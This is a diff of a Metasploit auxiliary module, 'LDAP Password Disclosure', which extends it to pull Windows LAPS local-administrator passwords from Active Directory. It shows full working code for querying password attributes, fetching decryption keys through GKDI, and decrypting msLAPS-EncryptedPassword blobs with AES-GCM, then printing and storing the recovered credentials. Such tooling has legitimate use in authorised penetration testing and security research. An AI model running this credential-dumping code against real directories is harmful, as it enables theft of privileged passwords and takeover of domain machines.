33# Current source: https://github.com/rapid7/metasploit-framework
44##
55
6+ require 'rasn1'
7+
68class MetasploitModule < Msf ::Auxiliary
79
810 include Msf ::Auxiliary ::Scanner
911 include Msf ::Auxiliary ::Report
12+ include Msf ::Exploit ::Remote ::MsGkdi
1013 include Msf ::Exploit ::Remote ::LDAP
14+ include Msf ::Exploit ::Remote ::LDAP ::Queries
1115 include Msf ::OptionalSession ::LDAP
1216
1317 include Msf ::Exploit ::Deprecated
1418 moved_from 'auxiliary/gather/ldap_hashdump'
1519
16- PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
20+ LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800' . freeze
21+ PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
1722
1823 def initialize ( info = { } )
1924 super (
2025 update_info (
2126 info ,
2227 'Name' => 'LDAP Password Disclosure' ,
2328 'Description' => %q{
24- This module will gather passwords and password hashes from a target LDAP server via multiple techniques.
29+ This module will gather passwords and password hashes from a target LDAP server via multiple techniques
30+ including Windows LAPS.
2531 } ,
2632 'Author' => [
2733 'Spencer McIntyre' , # LAPS updates
34+ 'Thomas Seigneuret' , # LAPS research
35+ 'Tyler Booth' , # LAPS research
2836 'Hynek Petrak' # Discovery, module
2937 ] ,
3038 'References' => [
31- [ 'CVE ' , '2020-3952 ' ] ,
32- [ 'URL' , 'https://www.vmware. com/security/advisories/VMSA-2020-0006.html ' ]
39+ [ 'URL ' , 'https://blog.xpnsec.com/lapsv2-internals/ ' ] ,
40+ [ 'URL' , 'https://github. com/fortra/impacket/blob/master/examples/GetLAPSPassword.py ' ]
3341 ] ,
3442 'DisclosureDate' => '2020-07-23' ,
3543 'License' => MSF_LICENSE ,
36- 'Actions' => [
37- [ 'Dump' , { 'Description' => 'Dump all LDAP data' } ]
38- ] ,
39- 'DefaultAction' => 'Dump' ,
4044 'Notes' => {
4145 'Stability' => [ CRASH_SAFE ] ,
4246 'SideEffects' => [ IOC_IN_LOGS ] ,
43- 'Reliability' => [ ]
47+ 'Reliability' => [ ] ,
48+ 'AKA' => [ 'GetLAPSPassword' ]
4449 }
4550 )
4651 )
4752
4853 register_options ( [
4954 OptInt . new ( 'READ_TIMEOUT' , [ false , 'LDAP read timeout in seconds' , 600 ] ) ,
5055 OptString . new ( 'BASE_DN' , [ false , 'LDAP base DN if you already have it' ] ) ,
51- OptString . new ( 'USER_ATTR' , [ false , 'LDAP attribute(s) , that contains username' , '' ] ) ,
56+ OptString . new ( 'USER_ATTR' , [ false , 'LDAP attribute, that contains username' , '' ] ) ,
5257 OptString . new ( 'PASS_ATTR' , [
53- false , 'Additional LDAP attribute(s) that contain password hashes' ,
58+ false , 'Additional LDAP attribute(s) that contain passwords and password hashes' ,
5459 ''
5560 # Other potential candidates:
5661 # ipanthash, krbpwdhistory, krbmkey, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
5762 ] )
5863 ] )
5964 end
6065
61- def print_prefix
62- "#{ peer . ljust ( 21 ) } - "
66+ def session?
67+ defined? ( :session ) && session
68+ end
69+
70+ def get_ad_ds_domain_info ( ldap )
71+ vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
72+
73+ root_dse = ldap . search (
74+ ignore_server_caps : true ,
75+ base : '' ,
76+ scope : Net ::LDAP ::SearchScope_BaseObject ,
77+ attributes : %i[ configurationNamingContext supportedCapabilities supportedExtension ]
78+ ) &.first
79+
80+ unless root_dse [ :supportedcapabilities ] . map ( &:to_s ) . include? ( LDAP_CAP_ACTIVE_DIRECTORY_OID )
81+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
82+ return nil
83+ end
84+
85+ unless root_dse [ :supportedextension ] . include? ( Net ::LDAP ::WhoamiOid )
86+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
87+ return nil
88+ end
89+
90+ print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
91+
92+ unless ldap . search ( base : '' , filter : '(objectClass=domain)' ) . nil?
93+ # this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
94+ # means we'll be getting information from more than one domain which breaks some core assumptions
95+ # see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
96+ fail_with ( Msf ::Module ::Failure ::NoTarget , 'The target LDAP server is a Global Catalog.' )
97+ end
98+
99+ # our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
100+
101+ target_domains = ldap . search (
102+ base : root_dse [ :configurationnamingcontext ] . first . to_s ,
103+ filter : "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ ldap . base_dn } ))"
104+ )
105+ unless target_domains . present?
106+ fail_with ( Msf ::Module ::Failure ::NotFound , 'The target LDAP server did not return its NETBIOS domain name.' )
107+ end
108+
109+ unless target_domains . length == 1
110+ fail_with ( Msf ::Module ::Failure ::NotFound , "The target LDAP server returned #{ target_domains . length } NETBIOS domain names." )
111+ end
112+
113+ target_domain = target_domains . first
114+
115+ {
116+ netbios_name : target_domain [ :netbiosname ] . first . to_s ,
117+ dns_name : target_domain [ :dnsroot ] . first . to_s
118+ }
119+ end
120+
121+ def ad_domain?
122+ @ad_ds_domain_info . nil?
63123 end
64124
65125 # PoC using ldapsearch(1):
@@ -89,6 +149,8 @@ def run_host(_ip)
89149 vprint_status ( "Using the '#{ datastore [ 'USER_ATTR' ] } ' attribute as the username" )
90150 end
91151
152+ @ad_ds_domain_info = get_ad_ds_domain_info ( ldap )
153+
92154 print_status ( "Searching base DN: #{ base_dn } " )
93155 entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
94156 end
@@ -106,10 +168,12 @@ def run_host(_ip)
106168 def ldap_search ( ldap , base_dn , args )
107169 entries_returned = 0
108170 creds_found = 0
171+ # TODO: use a filter when we're targeting AD DS
109172 def_args = {
110- base : '' ,
111173 return_result : false ,
112- attributes : %w[ * + - ]
174+ scope : Net ::LDAP ::SearchScope_WholeSubtree ,
175+ # build a filter that searches for any object that contains at least one of the attributes we're interested in
176+ filter : "(|#{ password_attributes . map { "(#{ _1 } =*)" } . join } )"
113177 }
114178
115179 begin
@@ -142,6 +206,7 @@ def password_attributes
142206 attributes = PASSWORD_ATTRIBUTES . dup
143207 if datastore [ 'PASS_ATTR' ] . present?
144208 attributes += datastore [ 'PASS_ATTR' ] . split ( /[,\s ]+/ ) . compact . reject ( &:empty? ) . map ( &:downcase )
209+ attributes . uniq!
145210 end
146211
147212 attributes
@@ -166,7 +231,7 @@ def decode_pwdhistory(hash)
166231
167232 def process_hash ( entry , attr )
168233 creds_found = 0
169- username = [ datastore [ 'USER_ATTR' ] , 'sAMAccountName' , 'dn ' , 'cn ' ] . map { entry [ _1 ] } . reject ( &:blank? ) . first . first
234+ username = [ datastore [ 'USER_ATTR' ] , 'sAMAccountName' , 'uid ' , 'dn ' ] . map { entry [ _1 ] } . reject ( &:blank? ) . first . first
170235
171236 entry [ attr ] . each do |private_data |
172237 if attr == 'pwdhistory'
@@ -212,6 +277,7 @@ def process_hash(entry, attr)
212277 next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/
213278
214279 jtr_format = nil
280+ annotation = ''
215281
216282 case attr
217283 when 'sambalmpassword'
@@ -233,6 +299,29 @@ def process_hash(entry, attr)
233299 # https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234300 # In the meantime, dump the base64 encoded value.
235301 private_data = Base64 . strict_encode64 ( private_data )
302+ when 'ms-mcs-admpwd'
303+ # LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
304+ username = 'Administrator'
305+ annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'ms-mcs-admpwdexpirationtime' ] . first . to_i ) } )" if entry [ 'ms-mcs-admpwdexpirationtime' ] . present?
306+ when 'mslaps-password'
307+ begin
308+ lapsv2 = JSON . parse ( private_data )
309+ rescue StandardError => e
310+ elog ( "Encountered an error while parsing LAPSv2 plain-text data for user '#{ username } '." , error : e )
311+ print_error ( "Encountered an error while parsing LAPSv2 plain-text data for user '#{ username } '." )
312+ next
313+ end
314+
315+ username = lapsv2 [ 'n' ]
316+ private_data = lapsv2 [ 'p' ]
317+ annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'mslaps-passwordexpirationtime' ] . first . to_i ) } )" if entry [ 'mslaps-passwordexpirationtime' ] . present?
318+ when 'mslaps-encryptedpassword'
319+ lapsv2 = process_result_lapsv2_encrypted ( entry )
320+ next if lapsv2 . nil?
321+
322+ username = lapsv2 [ 'n' ]
323+ private_data = lapsv2 [ 'p' ]
324+ annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'mslaps-passwordexpirationtime' ] . first . to_i ) } )" if entry [ 'mslaps-passwordexpirationtime' ] . present?
236325 when 'userpkcs12'
237326 # if we get non printable chars, encode into base64
238327 if ( private_data =~ /[^[:print:]]/ ) . nil?
@@ -270,8 +359,7 @@ def process_hash(entry, attr)
270359
271360 # highlight unresolved hashes
272361 jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273-
274- print_good ( "Credentials (#{ jtr_format || 'password' } ) found in #{ attr } : #{ username } :#{ private_data } " )
362+ print_good ( "Credentials (#{ jtr_format . blank? ? 'password' : jtr_format } ) found in #{ attr } : #{ username } :#{ private_data } #{ annotation } " )
275363
276364 report_creds ( username , private_data , jtr_format )
277365 creds_found += 1
@@ -300,7 +388,114 @@ def report_creds(username, private_data, jtr_format)
300388 username : username
301389 } . merge ( service_data )
302390
391+ if @ad_ds_domain_info
392+ credential_data [ :realm_key ] = Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN
393+ credential_data [ :realm_value ] = @ad_ds_domain_info [ :dns_name ]
394+ end
395+
303396 cl = create_credential_and_login ( credential_data )
304397 cl . respond_to? ( :core_id ) ? cl . core_id : nil
305398 end
399+
400+ def process_result_lapsv2_encrypted ( result )
401+ if session?
402+ print_warning ( 'Can not obtain LAPSv2 decryption keys when running with an existing session.' )
403+ return
404+ end
405+
406+ encrypted_block = result [ 'msLAPS-EncryptedPassword' ] . first
407+
408+ encrypted_blob = LAPSv2EncryptedPasswordBlob . read ( encrypted_block )
409+ content_info = Rex ::Proto ::CryptoAsn1 ::Cms ::ContentInfo . parse ( encrypted_blob . buffer . pack ( 'C*' ) )
410+ encrypted_data = encrypted_blob . buffer [ content_info . to_der . bytesize ...] . pack ( 'C*' )
411+ enveloped_data = content_info . enveloped_data
412+ recipient_info = enveloped_data [ :recipient_infos ] [ 0 ]
413+ kek_identifier = recipient_info [ :kekri ] [ :kekid ]
414+
415+ key_identifier = kek_identifier [ :key_identifier ]
416+ key_identifier = GkdiGroupKeyIdentifier . read ( key_identifier . value )
417+
418+ other_key_attribute = kek_identifier [ :other ]
419+ unless other_key_attribute [ :key_attr_id ] . value == '1.3.6.1.4.1.311.74.1'
420+ vprint_error ( 'msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.' )
421+ return
422+ end
423+
424+ ms_key_attribute = MicrosoftKeyAttribute . parse ( other_key_attribute [ :key_attr ] . value )
425+ kv_pairs = ms_key_attribute [ :content ] [ :content ] [ :content ] [ :kv_pairs ]
426+ sid = kv_pairs . value . find { |kv_pair | kv_pair [ :name ] . value == 'SID' } [ :value ] &.value
427+
428+ sd = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . from_sddl_text (
429+ "O:SYG:SYD:(A;;CCDC;;;#{ sid } )(A;;DC;;;WD)" ,
430+ domain_sid : sid . rpartition ( '-' ) . first
431+ )
432+
433+ if @gkdi_client . nil?
434+ @gkdi_client = connect_gkdi ( username : datastore [ 'LDAPUsername' ] , password : datastore [ 'LDAPPassword' ] )
435+ end
436+
437+ begin
438+ kek = gkdi_get_kek (
439+ client : @gkdi_client ,
440+ security_descriptor : sd ,
441+ key_identifier : key_identifier
442+ )
443+ rescue StandardError => e
444+ elog ( 'Failed to obtain the KEK from GKDI' , error : e )
445+ print_error ( "Failed to obtain the KEK from GKDI: #{ e . class } - #{ e } " )
446+ return nil
447+ end
448+
449+ algorithm_identifier = content_info . enveloped_data [ :encrypted_content_info ] [ :content_encryption_algorithm ]
450+ algorithm_oid = Rex ::Proto ::CryptoAsn1 ::ObjectId . new ( algorithm_identifier [ :algorithm ] . value )
451+ unless [ Rex ::Proto ::CryptoAsn1 ::OIDs ::OID_AES256_GCM , Rex ::Proto ::CryptoAsn1 ::OIDs ::OID_AES256_GCM ] . include? ( algorithm_oid )
452+ vprint_error ( "msLAPS-EncryptedPassword parsing failed: Unexpected algorithm OID '#{ algorithm_oid . value } '." )
453+ return
454+ end
455+
456+ iv = algorithm_identifier . gcm_parameters [ :aes_nonce ] . value
457+ encrypted_key = recipient_info [ :kekri ] [ :encrypted_key ] . value
458+
459+ key = Rex ::Crypto ::KeyWrap ::NIST_SP_800_38f . aes_unwrap ( kek , encrypted_key )
460+
461+ cipher = OpenSSL ::Cipher ::AES . new ( key . length * 8 , :GCM )
462+ cipher . decrypt
463+ cipher . key = key
464+ cipher . iv_len = iv . length
465+ cipher . iv = iv
466+ cipher . auth_tag = encrypted_data [ -16 ...]
467+ plaintext = cipher . update ( encrypted_data [ ...-16 ] ) + cipher . final
468+ JSON . parse ( RubySMB ::Field ::Stringz16 . read ( plaintext ) . value )
469+ end
470+
471+ # https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
472+ # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
473+ class LAPSv2EncryptedPasswordBlob < BinData ::Record
474+ endian :little
475+
476+ file_time :timestamp
477+ uint32 :buffer_size
478+ uint32 :flags
479+ uint8_array :buffer , initial_length : :buffer_size
480+ end
481+
482+ class MicrosoftKeyAttribute < RASN1 ::Model
483+ class Sequence < RASN1 ::Model
484+ class KVPairs < RASN1 ::Model
485+ sequence :content , content : [
486+ utf8_string ( :name ) ,
487+ utf8_string ( :value )
488+ ]
489+ end
490+
491+ sequence :content , constructed : true , content : [
492+ sequence_of ( :kv_pairs , KVPairs )
493+ ]
494+ end
495+
496+ sequence :content , content : [
497+ objectid ( :key_attr_id ) ,
498+ model ( :key_attr , Sequence )
499+ ]
500+ end
306501end
0 commit comments